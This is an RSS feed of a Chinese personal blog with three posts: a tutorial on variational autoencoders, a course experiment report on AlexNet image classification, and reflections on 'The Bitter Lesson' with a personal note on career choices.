<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/scripts/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:h="http://www.w3.org/TR/html4/"><channel><title>Candlest 的博客</title><description>Candlest 的博客，记录CS/AI 与生活</description><link>https://blog.candlest.cc</link><item><title>VAE：潜空间与生成式模型</title><link>https://blog.candlest.cc/blog/ai/vae</link><guid isPermaLink="true">https://blog.candlest.cc/blog/ai/vae</guid><description>潜在表明（Senzaihyoumei）</description><pubDate>Wed, 08 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;问题引入&lt;/h2&gt;
&lt;p&gt;假如我们现在有一个 $100 \times 100 \times 3$ 自由度的 RGB 图像空间，现在想在这张画布上生成一只猫的图片，该怎么做？&lt;/p&gt;
&lt;p&gt;换成数学语言就是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在一个 $100 \times 100 \times 3$ 的空间中，找到一个点，使得这个点对应的图像是一只猫。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;更进一步：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在一个 $d$ 维空间里，按照目标分布 $p_{\text{data}}(x)$ 的指引进行采样，使得我们采样出来的向量恰好表示一只猫的图像。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这个问题，我们可以形式化为：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我们给定真实数据分布 $p_{\text{data}}(x)$，目标是学习一个模型分布 $p_\theta(x)$，使得 $p_\theta(x)$ 能尽可能逼近 $p_{\text{data}}(x)$，从中采样出符合要求的图像。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在 VAE 之前，生成式模型主要面临着如下问题：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;训练这类模型一直是机器学习领域的一个长期难题，传统上大多数方法都存在以下三个严重缺陷之一：[^2]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;它们可能需要对数据结构做出强假设。&lt;/li&gt;
&lt;li&gt;它们可能采用过于粗略的近似，导致模型效果欠佳。&lt;/li&gt;
&lt;li&gt;它们可能依赖计算成本高昂的推断过程，如马尔可夫链蒙特卡洛方法。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;NN 的快速发展让 NN 作为高效的函数逼近器成为可能，VAE 引入变分贝叶斯方法和「最小描述长度」编码模型，为彼时的生成式模型翻开了新的一页。&lt;/p&gt;
&lt;h2&gt;模型结构&lt;/h2&gt;
&lt;p&gt;我们可以从 Pytorch 官方的最小样例中找到一份 VAE 生成手写数字的代码。&lt;a href=&quot;%5Bpytorch/examples/blob/main/vae/main.py%5D(https://github.com/pytorch/examples/blob/main/vae/main.py)&quot;&gt;^1&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.candlest.cc/_astro/vae.Cs6iUU72_kydeA.webp&quot; alt=&quot;vae&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;x
│
├── Encoder
│    ├── Linear / Conv
│    ├── ReLU
│    ├── Linear / Conv
│    ├── ReLU
│    └── shared hidden feature h
│
├── From h:
│    ├── Linear -&gt; μ
│    └── Linear -&gt; logvar
│
├── Sample:
│    ├── std = exp(0.5 * logvar)
│    ├── ε ~ N(0, I)
│    └── z = μ + std * ε
│
├── Decoder
│    ├── Linear / Deconv
│    ├── ReLU
│    ├── Linear / Deconv
│    ├── ReLU
│    └── Output layer
│
└── x_hat
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;和传统自编码器（AE）对比：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.candlest.cc/_astro/ae.BvXfzr98_ZDuK8x.webp&quot; alt=&quot;ae&quot;&gt;&lt;/p&gt;
&lt;p&gt;AE 将输入映射为潜空间中的一个点，VAE 将输入映射为潜空间中一个高斯分布的参数（$\mu$ 和 $\sigma$），通过采样产生隐变量。[^3]&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.candlest.cc/_astro/manifold.DN6dwOLK_2ugWlf.webp&quot; alt=&quot;manifold.png&quot;&gt;&lt;/p&gt;
&lt;p&gt;这样，VAE 允许在潜空间采样并生成全新的样本。&lt;/p&gt;
&lt;h2&gt;Latent Variable Models&lt;/h2&gt;
&lt;p&gt;真实世界往往过于复杂，难以直接建模。引入潜变量 $z$ 之后，我们尝试把复杂的数据分布 $p(x)$ 分解为：&lt;/p&gt;
&lt;p&gt;$$
p(x) = \int p(x,z) dz = \int p(x|z) p(z) dz
$$&lt;/p&gt;
&lt;p&gt;这里，$p(z)$ 是潜空间的先验，$p_\theta(x \mid z)$ 是给定潜变量生成数据的条件分布，$q_\phi(z \mid x)$ 是用于近似后验的推断分布。
在 VAE 中：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Decoder 实现 $p_\theta(x|z)$，生成数据&lt;/li&gt;
&lt;li&gt;Encoder 学习近似后验分布 $q_\phi(z|x)$，辅助训练与推断&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;简记流程：&lt;/p&gt;
&lt;p&gt;$$
z \sim p(z) \quad \to \quad x \sim p_\theta(x|z)
$$&lt;/p&gt;
&lt;p&gt;其中，$p(z)$ 通常取标准正态。&lt;/p&gt;
&lt;h2&gt;Reparameterization Trick（重参数化）&lt;/h2&gt;
&lt;p&gt;「sample」这个步骤是不可微的，所以我们无法通过反向传播来更新 encoder 的参数。&lt;/p&gt;
&lt;p&gt;VAE 的解决方案是 reparameterization trick：&lt;/p&gt;
&lt;p&gt;$$
z = \mu + \sigma \odot \epsilon, \quad \epsilon \sim \mathcal{N}(0, I)
$$&lt;/p&gt;
&lt;p&gt;每次正向传播时，我们先从一个标准正态分布中采样 $\epsilon$，然后反向传播时，我们可以通过链式法则来计算 $\mu$ 和 $\sigma$ 的梯度。有点像 dropout 的反向传播处理方法。&lt;/p&gt;
&lt;h2&gt;Loss（Evidence Lower Bound, ELBO）&lt;/h2&gt;
&lt;p&gt;我们训练 VAE 的时候，怎么保证两个 FC 学到的就是 $\mu$ 和 $\log \sigma^2$？&lt;/p&gt;
&lt;p&gt;对于经典 VAE：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;x → Encoder → h →
                 ├── fc_mu → μ
                 └── fc_logvar → logσ²
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;并没有一个明确的结构硬保证。&lt;/p&gt;
&lt;p&gt;所以关键不在结构，而在 loss 怎么约束它们。&lt;/p&gt;
&lt;p&gt;我们知道，$\mu$ 和 $\log \sigma^2$ 建模的是 $q_\phi(z \mid x)$，用来近似真实后验 $p_\theta(z \mid x)$。&lt;/p&gt;
&lt;p&gt;$$
\log p_\theta(x) = \log \int p_\theta(x|z) p(z) dz
$$&lt;/p&gt;
&lt;p&gt;乘以 $\frac{q_\phi(z|x)}{q_\phi(z|x)}$：&lt;/p&gt;
&lt;p&gt;$$
= \log \mathbb{E}&lt;em&gt;{q&lt;/em&gt;\phi(z|x)} \left[ \frac{p_\theta(x|z) p(z)}{q_\phi(z|x)} \right]
$$&lt;/p&gt;
&lt;p&gt;由 Jensen 不等式（$\log$ 是凹函数，$\log \mathbb{E}[Y] \geq \mathbb{E}[\log Y]$）：&lt;/p&gt;
&lt;p&gt;$$
\geq \mathbb{E}&lt;em&gt;{q&lt;/em&gt;\phi(z|x)} \left[ \log \frac{p_\theta(x|z) p(z)}{q_\phi(z|x)} \right]
$$&lt;/p&gt;
&lt;p&gt;拆开：&lt;/p&gt;
&lt;p&gt;$$
\mathbb{E}&lt;em&gt;{q&lt;/em&gt;\phi(z|x)} \left[ \log \frac{p_\theta(x|z) p(z)}{q_\phi(z|x)} \right] = \underbrace{\mathbb{E}&lt;em&gt;{q&lt;/em&gt;\phi(z|x)} [\log p_\theta(x|z)]}&lt;em&gt;{\text{重建项}} - \underbrace{D&lt;/em&gt;{KL}(q_\phi(z|x) | p(z))}_{\text{KL 项}}
$$&lt;/p&gt;
&lt;p&gt;重建项最大化在 latent $z$ 下生成原数据 $x$ 的概率。重建误差会鼓励 decoder 生成逼近输入的样本。&lt;/p&gt;
&lt;p&gt;KL 项保证 latent 空间规整且可采样。它衡量近似后验与先验的距离，防止潜空间过拟合。&lt;/p&gt;
&lt;p&gt;这两项共同构成 VAE 的损失函数，约束 $\mu$ 和 $\log \sigma^2$ 的学习。&lt;/p&gt;
&lt;h2&gt;其他参考资料&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV17q9uBxEpo&quot;&gt;温和的走进生成式AI【从VAE到Flow Matching】&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;[^2]: &lt;a href=&quot;https://arxiv.org/abs/1606.05908&quot;&gt;Tutorial on Variational Autoencoders&lt;/a&gt;
[^3]: &lt;a href=&quot;https://towardsdatascience.com/vae-variational-autoencoders-how-to-employ-neural-networks-to-generate-new-images-bdeb216ed2c0/&quot;&gt;VAE: Variational Autoencoders – How to Employ Neural Networks to Generate New Images&lt;/a&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/manifold.DN6dwOLK.png"/><enclosure url="/_astro/manifold.DN6dwOLK.png"/></item><item><title>AlexNet： 记图像分类的一次实验</title><link>https://blog.candlest.cc/blog/ai/alexnet</link><guid isPermaLink="true">https://blog.candlest.cc/blog/ai/alexnet</guid><description>由实验报告延伸而来</description><pubDate>Tue, 07 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;创新实践课程着实是一门大水课，但是沈力老师着实是一位很有激情的老师。&lt;/p&gt;
&lt;p&gt;虽然这是一门水课，但是我记起来一句话，记得是大一在华工转专业群的一位学长口中听到的：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;水课的意义就是让你知道有这么一个东西。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;那好，我现在正缺少深度学习的密集实践。借助这门课的机会，尝试在实践中让枯燥漂浮的理论变得生动接地气起来。&lt;/p&gt;
&lt;h2&gt;AlexNet 如何让 NN 再次伟大&lt;/h2&gt;
&lt;p&gt;人工特征统治了世界太久，却没有人发掘 GPU 里面日益增长的算力的价值。AlexNet 用扎实的工程功底针对「让一个超大网络能被训练」这个问题做了很多创新的模型设计，并运用了很多训练技巧。&lt;/p&gt;
&lt;p&gt;AlexNet 证明了“深度 + 数据 + 计算”，后续工作只是不断逼近这个范式的极限。&lt;/p&gt;
&lt;h2&gt;模型总览&lt;/h2&gt;
&lt;p&gt;在最初的 AlexNet 论文[^1]里面，网络结构是基于 LeNet 并妥协了当时尚未成熟的 DNN 软硬件件环境（比如卡均显存很小，只有原始的 CUDA C++ 加速库）而设计的。AlexNet 的网络结构如下图所示[^2]：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.candlest.cc/_astro/alex2012.Cq96t-m-_1q6dMY.webp&quot; alt=&quot;alex2012&quot;&gt;&lt;/p&gt;
&lt;p&gt;由于历史时代限制，AlexNet 的网络结构设计中包含了很多妥协/在今天看来多余、不必要的设计，比如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$11 \times 11$ 大卷积 + $stride=4$&lt;/li&gt;
&lt;li&gt;LRN（局部响应归一化）&lt;/li&gt;
&lt;li&gt;分组卷积（因为单卡放不下）&lt;/li&gt;
&lt;li&gt;强依赖 FC（$4096 \times 2$）&lt;/li&gt;
&lt;li&gt;手写 CUDA 实现&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在不需要为软硬件做出大量妥协的今天，AlexNet 被深度学习界的前辈们还原成了一个「干净的 CNN baseline」：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zh.d2l.ai/_images/alexnet.svg&quot; alt=&quot;LeNet（左）到AlexNet（右）¶&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;也就是经典的：$(Conv + Pool) ×2 + Conv ×3 + FC ×3$
两层 &lt;code&gt;Conv → ReLU → Pool&lt;/code&gt; 构成了特征提取器，三层 &lt;code&gt;FC → ReLU&lt;/code&gt; 构成了分类器。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;Input
→ Conv1 → ReLU → MaxPool
→ Conv2 → ReLU → MaxPool
→ Conv3 → ReLU
→ Conv4 → ReLU
→ Conv5 → ReLU → MaxPool
→ Flatten
→ FC → ReLU → Dropout
→ FC → ReLU → Dropout
→ FC → Softmax
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.candlest.cc/_astro/alexnet.DPlNgaJ8_kLIyr.webp&quot; alt=&quot;Modernized AlexNet¶&quot;&gt;&lt;/p&gt;
&lt;h3&gt;特征提取器&lt;/h3&gt;
&lt;p&gt;在输入进入 pipeline 的前期，经过了两层 &lt;code&gt;Conv → ReLU → Pool&lt;/code&gt; 结构，其中：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Conv&lt;/code&gt; 的作用是提取局部特征，保留位置信息。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ReLU&lt;/code&gt; 的作用是引入非线性，具有非线性激活函数的网络可以逼近任意连续函数[^3]。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Pool&lt;/code&gt; 的作用是降低特征图的分辨率（下采样），模糊位置信息，减少计算量，也就是信息压缩。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;分类器&lt;/h3&gt;
&lt;p&gt;丰富的多频道特征在 pipeline 的中期（&lt;code&gt;flatten&lt;/code&gt;）被压缩成了一个一维的特征向量，进入了后续的三层 &lt;code&gt;FC → ReLU&lt;/code&gt; 结构，开始逐步降维。&lt;/p&gt;
&lt;p&gt;MLP 理论上有能够学习任何函数的能力，在这里三层恰好是一个平衡表现能力和计算效率（收敛难度）的选择。&lt;/p&gt;
&lt;p&gt;这里在 FC 层后面还加了 Dropout 正则化，来防止过拟合。（后面会介绍 Dropout 的原理和作用）&lt;/p&gt;
&lt;h3&gt;pipeline 可视化&lt;/h3&gt;
&lt;p&gt;为进一步观察最优模型的中间表征与判别区域，选取验证集中的一张 daisy 样本，对最优权重 augment_weight_decay 进行特征图与 Grad-CAM 可视化。该样例最终预测类别为 daisy，预测置信度为 1.0000。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.candlest.cc/_astro/daisy.CVxU7sAx_Z1FjoVe.webp&quot; alt=&quot;最优模型对 daisy 样本的中间层特征图可视化&quot;&gt;&lt;/p&gt;
&lt;p&gt;上图展示了输入图像以及 5 个卷积层中激活最强的部分通道。该可视化反映了 AlexNet 从浅层局部纹理到深层高阶语义表征的逐级抽象过程，也说明最优模型在该样本上能够形成较稳定的层级特征响应。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.candlest.cc/_astro/panel.DQLhJi-a_2qdEV7.webp&quot; alt=&quot;Grad-CAM&quot;&gt;&lt;/p&gt;
&lt;p&gt;Grad-CAM 作用于最后一层卷积层 features.10，用于展示分类决策对应的空间响应区域。结合该样例被正确分类为 daisy 的结果，可以看出该可视化为模型判别依据提供了直观解释，有助于从单样本层面补充对模型可解释性的观察。&lt;/p&gt;
&lt;h2&gt;ReLU：让模型更快收敛&lt;/h2&gt;
&lt;p&gt;当时业界普遍使用的激活函数是 $sigmoid$ 和 $tanh$[^4]，AlexNet 首次在深度卷积网络中使用了 ReLU 激活函数[^5]，并且证明了&lt;strong&gt;它能够让模型更快地收敛&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.candlest.cc/_astro/relu-nonlinear.EbCqmNl__ZozEsy.webp&quot; alt=&quot;relu&quot;&gt;&lt;/p&gt;
&lt;p&gt;从「传统饱和神经元」到 ReLU，有以下几个好处：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;ReLU 的计算量更小。&lt;/li&gt;
&lt;li&gt;有效地应对了梯度消失问题（因为 ReLU 在大于零时梯度恒为 1），模型训练时鲁棒性更强。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;正则化&lt;/h2&gt;
&lt;p&gt;AlexNet 是一个有 60M 参数的大模型，训练数据只有 1.2M 张图片，过拟合是一个非常严重的问题。为了限制过拟合，AlexNet 在模型设计中引入了很多正则化方法。&lt;/p&gt;
&lt;p&gt;机器学习里，「正则化」不是某个具体操作，而是一类方法，核心目标是&lt;strong&gt;限制模型的过拟合，提高泛化能力&lt;/strong&gt;。典型做法包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;L2（weight decay）：通过训练超参数，限制参数大小&lt;/li&gt;
&lt;li&gt;L1：鼓励稀疏&lt;/li&gt;
&lt;li&gt;数据增强：增加训练分布（稍后介绍 AlexNet 的做法）&lt;/li&gt;
&lt;li&gt;早停：限制训练时间&lt;/li&gt;
&lt;li&gt;Dropout：随机丢弃神经元&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Dropout&lt;/h3&gt;
&lt;p&gt;在每一次迭代中，对某全连接层，Dropout通过修改神经网络的结构实现按一定概率将神经元置为0，该神经元不参与前向和反向传播，等同于被删除，此时网络结构不变。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.candlest.cc/_astro/dropout.aToaoolz_Z5eCCi.webp&quot; alt=&quot;Dropout&quot;&gt;&lt;/p&gt;
&lt;p&gt;Dropout 的作用：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;打破 co-adaptation，耦合的、脆弱的表示。&lt;/li&gt;
&lt;li&gt;等价于模型集成（集成学习），每次 dropout 相当于在训练一个「子网络」。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;数据增强&lt;/h3&gt;
&lt;p&gt;这句话第二次重复「AlexNet 是一个有 60M 参数的大模型，训练数据只有 1.2M 张图片，过拟合是一个非常严重的问题。」&lt;/p&gt;
&lt;p&gt;Dropout 是从模型的参数入手增加鲁棒性，数据增强则是从训练数据入手增加鲁棒性。AlexNet 论文中使用了两种数据增强方法：空间变换和颜色扰动。&lt;/p&gt;
&lt;h4&gt;空间变换：裁剪、翻转&lt;/h4&gt;
&lt;p&gt;训练时，从每张图片中随机裁剪出 $224 \times 224$ 的子图（原图是 $256 \times 256$），并且随机水平翻转。&lt;/p&gt;
&lt;p&gt;$(256 - 224)^2 = 32^2 = 1024$ 种位置，再乘以水平翻转可以得到 2048 倍数据扩增。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.candlest.cc/_astro/data1.BbMhX2nW_Z1OlDet.webp&quot; alt=&quot;data1&quot;&gt;&lt;/p&gt;
&lt;p&gt;测试时，从原图里裁出 5 个 224×224 的 patch，每一张都做一个水平翻转，得到 10 个 patch，分别输入模型进行预测，最后取平均。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.candlest.cc/_astro/data1.5.CperpzmY_29lw5i.webp&quot; alt=&quot;data1.5&quot;&gt;&lt;/p&gt;
&lt;p&gt;可以看作一种提高「平移不变性」的增强方法。&lt;/p&gt;
&lt;h4&gt;颜色扰动：PCA 光照扰动&lt;/h4&gt;
&lt;p&gt;AlexNet 在 RGB 空间做 PCA 分解，沿主成分方向加入随机扰动。&lt;/p&gt;
&lt;p&gt;不过它贡献有限（比不上 ReLU / Dropout / GPU），后来也基本没人用，现在被更简单的方法完全替代（color jitter）。&lt;/p&gt;
&lt;h2&gt;实验实践&lt;/h2&gt;
&lt;h3&gt;数据增强&lt;/h3&gt;
&lt;p&gt;在 AlexNet 为花卉分类的实验中，数据增强的作用非常明显。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./train_curve_compare.svg&quot; alt=&quot;train_curve_compare&quot;&gt;&lt;/p&gt;
&lt;p&gt;仅加入数据增强后，验证精度由 0.7637 提升至 0.8159 （+0.0522）。随机裁剪与水平翻转有效扩展了训练样本分布，缓解了模型对训练集细节的过拟合。同时，最佳 epoch 由第 16 轮推迟至第 23 轮，说明模型需要更多轮次适应多样化输入，但最终获得了更好的泛化效果。数据增强是本实验中收益最显著的单一改进措施。&lt;/p&gt;
&lt;h3&gt;早停&lt;/h3&gt;
&lt;p&gt;在实验过程中，发现大部分模型在第 16-23 轮左右就已经达到了最佳验证精度，继续训练反而会过拟合，验证精度开始下降。因此，早停是一个非常有效的正则化方法，同时它还能减少计算资源的浪费。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.candlest.cc/_astro/train.C1lzSR_x_Z2uri5F.webp&quot; alt=&quot;train&quot;&gt;&lt;/p&gt;
&lt;h3&gt;权重衰减&lt;/h3&gt;
&lt;p&gt;单独加入 weight_decay=1e-4 后，验证精度从 0.7637 提升至 0.7830，表明权重衰减能在一定程度上抑制参数过大、改善泛化，但收益不及数据增强，说明仅靠参数正则化无法替代样本层面的分布扩展。&lt;/p&gt;
&lt;p&gt;进一步在”增强 + 权重衰减”组合下对比不同衰减系数：5e-5 对应 0.8132，1e-4 对应0.8269，2e-4 对应 0.8049。&lt;/p&gt;
&lt;p&gt;1e-4 在当前实验范围内效果最优——正则化过弱则抑制过拟合不足，过强则限制模型拟合能力。&lt;/p&gt;
&lt;h3&gt;学习率调度&lt;/h3&gt;
&lt;p&gt;加入余弦退火调度后，验证精度反而从 0.7637 降至 0.7473。这说明学习率调度并非在所有场景下都能带来收益。本实验中固定学习率 2e-4 对 Adam 已较为合适，叠加 cosine 调度后后期学习率下降过快，可能导致模型在尚未充分收敛时便进入过小步长阶段。&lt;/p&gt;
&lt;h3&gt;Adam v.s. SGD&lt;/h3&gt;
&lt;p&gt;将 Adam 替换为 SGD 并保持 lr=2e-4 时，最佳验证精度仅为 0.4615。该学习率对 SGD 而言过
小，导致参数更新缓慢、难以充分收敛。补充实验中将学习率提高后：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$lr=5e-3$：验证精度 0.7610&lt;/li&gt;
&lt;li&gt;$lr=1e-2$：验证精度 0.7335&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./exp_best_val_acc.svg&quot; alt=&quot;val_acc&quot;&gt;&lt;/p&gt;
&lt;p&gt;结果表明，SGD 低性能的主因是学习率不匹配，而非优化器本身的缺陷。但即便调至更合适的
学习率， SGD 在本实验中仍未超过 Adam 系列方案，因此在当前任务规模与训练预算下， Adam 仍为
更稳妥的选择。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这里需要填坑，后续会学习 Adam v.s. SGD 这些优化器的原理和区别，来分析为什么 Adam 在这个实验中表现更好。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;[^1]: &lt;a href=&quot;https://papers.nips.cc/paper_files/paper/2012/hash/c399862d3b9d6b76c8436e924a68c45b-Abstract.html&quot;&gt;ImageNet Classification with Deep Convolutional Neural Networks, Alex Krizhevsky, Ilya Sutskever, Geoffrey E. Hinton&lt;/a&gt;
[^2]: 来自原始论文中中的 Figure 2: An illustration of the architecture of our CNN, explicitly showing the delineation of responsibilities between the two GPUs. One GPU runs the layer-parts at the top of the figure while the other runs the layer-parts at the bottom. The GPUs communicate only at certain layers. The network’s input is 150,528-dimensional, and the number of neurons in the network’s remaining layers is given by 253,440–186,624–64,896–64,896–43,264– 4096–4096–1000.
[^3]: &lt;a href=&quot;https://en.wikipedia.org/wiki/Universal_approximation_theorem&quot;&gt;Universal approximation theorem&lt;/a&gt;
[^4]: 定义 $sigmoid(x) = \frac{1}{1 + e^{-x}}$ 和 $tanh(x) = \frac{e^x - e^{-x}}{e^x + e^{-x}}$，它们的输出分别是 $(0, 1)$ 和 $(-1, 1)$，它们被作者称为「传统饱和神经元」。
[^5]: &lt;a href=&quot;https://www.cs.toronto.edu/~hinton/absps/reluICML.pdf&quot;&gt;Rectified linear units improve restricted boltzmann machines, Vinod Nair, Geoffrey E. Hinton&lt;/a&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/input.BZI41VXv.png"/><enclosure url="/_astro/input.BZI41VXv.png"/></item><item><title>The Bitter Lesson：ALL IN， 此刻启程</title><link>https://blog.candlest.cc/blog/ai/read-the-bitter-lesson</link><guid isPermaLink="true">https://blog.candlest.cc/blog/ai/read-the-bitter-lesson</guid><description>作为严肃的 AI 学习的第一篇文章，我想用《The Bitter Lesson》作为我们的开始。这篇文章未来会随着我的思考添加更多新颖的例证和观点。</description><pubDate>Mon, 06 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Aside } from &apos;astro-pure/user&apos;&lt;/p&gt;
&lt;h2&gt;未来属于能随着计算规模增长而持续变强的方法&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://www.incompleteideas.net/IncIdeas/BitterLesson.html&quot;&gt;《The Bitter Lesson》&lt;/a&gt; 举了棋类、计算机视觉和语音识别上的例子，凭借着人类先验知识的输入，某些方法能在短期取得优势。但是长期来看，这些「人工结构」都会被能够利用更大规模计算与数据的通用方法所击败。&lt;/p&gt;
&lt;p&gt;长期来看，能利用好通用计算能力在 AI 上不断扩展的方法只有两种：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;用更多数据和计算，在参数空间中进行更充分的&lt;strong&gt;学习&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;用更多计算，在解空间中进行更深/更广的&lt;strong&gt;搜索&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;学习和搜索，本质上都是利用计算在高维空间中逼近最优解，只是所处空间不同。&lt;/p&gt;
&lt;p&gt;所以，请永远不要忘记我们出发的初心：我们不是去设计一个最强的人工结构跑出 SOTA，而是去设计一个能随着计算增长而高效改进的通用方法。&lt;/p&gt;
&lt;h2&gt;世界复杂到难以用简单的方法建模&lt;/h2&gt;
&lt;p&gt;世界的动力学极其复杂，远超人类能够显式编码的程度。&lt;/p&gt;
&lt;p&gt;在封闭和低维问题中，显式方法（如 PID、规则系统）依然有效，但在开放、复杂的任务中，这类方法往往难以扩展。人工的 switch-cases，手工特征，甚至是目前部分人尝试在深度学习里模拟「人类理解方式」的做法，往往难以扩展，或在规模增长后被更通用的方法取代。&lt;/p&gt;
&lt;p&gt;我们应该教给 AI 的，&lt;strong&gt;不是建模世界，而是建模如何学习世界&lt;/strong&gt;。AI 应该尽量减少对人类先验结构的依赖地发现特征与联系，而不是在我们的特征与联系下工作。因此，我们不应直接建模世界本身，而应构建能够从数据中自动学习表示与策略的通用方法。AI 的关键不在于执行我们已有的知识，而在于通过计算不断发现更好的表示与解。&lt;/p&gt;
&lt;p&gt;在原文中，Sutton 的说法更加激进：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We have to learn the bitter lesson that building in how we think we think does not work in the long run.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;AI 未来的发展，更像是将模型的约束，从显式的人类先验，逐步转移到由数据和计算驱动、能够自主学习的结构之中。&lt;/p&gt;
&lt;h2&gt;后记（或者说前言）&lt;/h2&gt;
&lt;p&gt;折戟长城杯，意识到 ai 对网安领域的冲击还没有彻底铺开，这个领域这个行业将迎来一场漫长而彻底的变化。&lt;/p&gt;
&lt;p&gt;前辈问我愿不愿意担起下一届校队的责任，我思考良久最终还是选择了拒绝。前辈们也许有些失望，但是依旧安慰我：「能有长期目标规划就行，不要一直纠结摇摆，那样很浪费时间」。&lt;/p&gt;
&lt;p&gt;前几天，转网安群有一个很有趣的话题。大一学医的小登们很多想往外润，理由是不想这么早就决定未来十年二十年要跟这么一个高劳动强度，起薪低的行业高度绑定。前任群主点出了这个问题的核心：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;你总要有一天梭哈某个方向，医学只是梭哈的比较早。计算机只是本科阶段比较open，但是不会让你持有的机会成本变低。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;你们不要觉得只有医学才梭哈，学医确实会让你的可能性迅速收敛，年龄增大也会。但是学了计算机的，本科开始梭哈就业/科研的人，收敛的也很快。你很难换路了，要承担很大的沉没成本。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;是的，之前大二上进组的时候老师问我，你平转还要尝试卷绩点，你有时间科研吗？&lt;/p&gt;
&lt;p&gt;那个时候我还很自信地觉得我可以把各种各样的事务往我怀里揽，毕竟我相信我自己是一个热爱计算机的人，既然热爱就不会疲倦。&lt;/p&gt;
&lt;p&gt;但是经过半年的实践我发现，那些我往怀里揽的事务，我一样都做不到顶尖。每一样都是马马虎虎，而不能成为在同龄人中亮眼的水平。&lt;/p&gt;
&lt;p&gt;人的热爱并不能违背客观规律，人的精力是有限的，六边形战士很多但是却并不是我（我参数初始化和前 19 年攒的数值太低了），加点加不满。&lt;/p&gt;
&lt;p&gt;尤其是 ai 时代，这个时代对样样还行的平均能力者的需求大幅减少，而是渴求在某一方面极其突出的人。&lt;/p&gt;
&lt;p&gt;我必须做出决定了。半年前刚转到这个学院和班主任聊天就意识到了这个问题，班主任笑着和我说你还有时间探索。但是现在这个时间节点，我真的要做出决定了，我的数值有限，我的精力有限，到底要把点加在什么东西上？&lt;/p&gt;
